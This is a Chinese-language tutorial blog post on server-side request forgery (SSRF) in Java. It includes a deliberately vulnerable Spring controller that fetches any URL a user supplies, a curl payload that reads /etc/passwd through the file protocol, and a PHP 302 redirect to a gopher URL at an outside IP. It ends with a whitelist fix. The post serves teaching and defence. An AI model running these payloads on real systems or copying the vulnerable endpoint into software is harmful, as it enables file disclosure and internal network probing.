本文主要说明Java的SSRF的漏洞代码、利用方式、如何修复。
网络上对Java的SSRF介绍较少,甚至还有很多误区。
SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用curl -V
查看。
Java网络请求支持的协议可通过下面几种方法检测:
import sun.net.www.protocol
查看从import sun.net.www.protocol
可以看到,支持以下协议
file ftp mailto http https jar netdoc
当然,SSRF是由发起网络请求的方法造成。所以先整理Java能发起网络请求的类。
如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
比如:
HttpURLConnection
HttpClient
Request
okhttp
所以,如果用以下类的方法发起请求,则支持sun.net.www.protocol
所有协议
URLConnection
URL
注意,Request类对HttpClient进行了封装。类似Python的requests库。
用法及其简单,一行代码就可以获取网页内容。
Request.Get(url).execute().returnContent().toString();
使用URL类的openStream发起网络请求造成的SSRF(Java Web代码)。
代码功能是远程下载文件并下载。
/**
* Author: JoyChou
* Date: 17/4/1
*/
import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;
import java.io.InputStream;
import java.io.OutputStream;
import com.google.common.io.Files;
import org.apache.commons.lang.StringUtils;
import java.net.URL;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@Controller
@EnableAutoConfiguration
public class SecController {
@RequestMapping("/")
@ResponseBody
String home() {
return "Hello World!";
}
@RequestMapping("/download")
@ResponseBody
public void downLoadImg(HttpServletRequest request, HttpServletResponse response) throws IOException{
try {
String url = request.getParameter("url");
if (StringUtils.isBlank(url)) {
throw new IllegalArgumentException("url异常");
}
downLoadImg(response, url);
}catch (Exception e) {
throw new IllegalArgumentException("异常");
}
}
private void downLoadImg (HttpServletResponse response, String url) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." +Files.getFileExtension(url);
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
URL u;
int length;
byte[] bytes = new byte[1024];
u = new URL(url);
inputStream = u.openStream();
outputStream = response.getOutputStream();
while ((length = inputStream.read(bytes)) > 0) {
outputStream.write(bytes, 0, length);
}
}catch (Exception e) {
e.printStackTrace();
}finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
}
}
public static void main(String[] args) throws Exception {
SpringApplication.run(SecController.class, args);
}
}
利用方式:
# 利用file协议查看任意文件
curl -v 'http://localhost:8080/download?url=file:///etc/passwd'
尝试发起gopher协议,收到异常:
java.net.MalformedURLException: unknown protocol: gopher
所以,除了上面的协议都不支持。
那尝试使用302跳转到gopher进行bypass。
先在一台vps上写一个302.php,如果发生跳转,那么35.185.163.134的2333端口将会收到请求。
PS:Java默认会URL重定向。
<?php
$url = 'gopher://35.185.163.134:2333/_joy%0achou';
header("location: $url");
?>
访问payload
http://localhost:8080/download?url=http://joychou.me/302.php
收到异常:
java.net.MalformedURLException: unknown protocol: gopher
跟踪报错代码:
private boolean followRedirect() throws IOException {
if(!this.getInstanceFollowRedirects()) {
return false;
} else {
final int var1 = this.getResponseCode();
if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
final String var2 = this.getHeaderField("Location");
if(var2 == null) {
return false;
} else {
URL var3;
try {
// 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`
var3 = new URL(var2);
/* 该行代码,表示传入的协议必须和重定向的协议一致
* 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致
*/
if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
return false;
}
} catch (MalformedURLException var8) {
var3 = new URL(this.url, var2);
}
从上面的followRedirect方法可以看到:
所以,Java的SSRF利用方式比较局限
上面的漏洞代码可总结为4种情况:
/*
* Author: JoyChou(2017年04月11日)
*/
/* 第一种情况
* Request类
*/
Request.Get(url).execute()
/* 第二种情况
* URL类的openStream
*/
URL u;
int length;
byte[] bytes = new byte[1024];
u = new URL(url);
inputStream = u.openStream();
/* 第三种情况
* HttpClient
*/
String url = "http://127.0.0.1";
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse;
try {
// 该行代码发起网络请求
httpResponse = client.execute(httpGet);
/* 第四种情况
* URLConnection和HttpURLConnection
*/
URLConnection urlConnection = url.openConnection();
HttpURLConnection urlConnection = url.openConnection();
那么,根据利用的方式,修复方法就比较简单。
漏洞修复代码如下:
需要添加guava库(目的是获取一级域名),在pom.xml中添加
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>21.0</version>
</dependency>
代码的验证逻辑:
函数调用:
String[] urlwhitelist = {"joychou.org", "joychou.me"};
if (!securitySSRFUrlCheck(url, urlwhitelist)) {
return;
}
函数验证代码:
public static Boolean securitySSRFUrlCheck(String url, String[] urlwhitelist) {
try {
URL u = new URL(url);
// 只允许http和https的协议通过
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
return false;
}
// 获取域名,并转为小写
String host = u.getHost().toLowerCase();
// 获取一级域名
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
for (String whiteurl: urlwhitelist){
if (rootDomain.equals(whiteurl)) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
最后,如果各位看客老爷,发现有其他的类也能发起网络请求,麻烦评论回复下。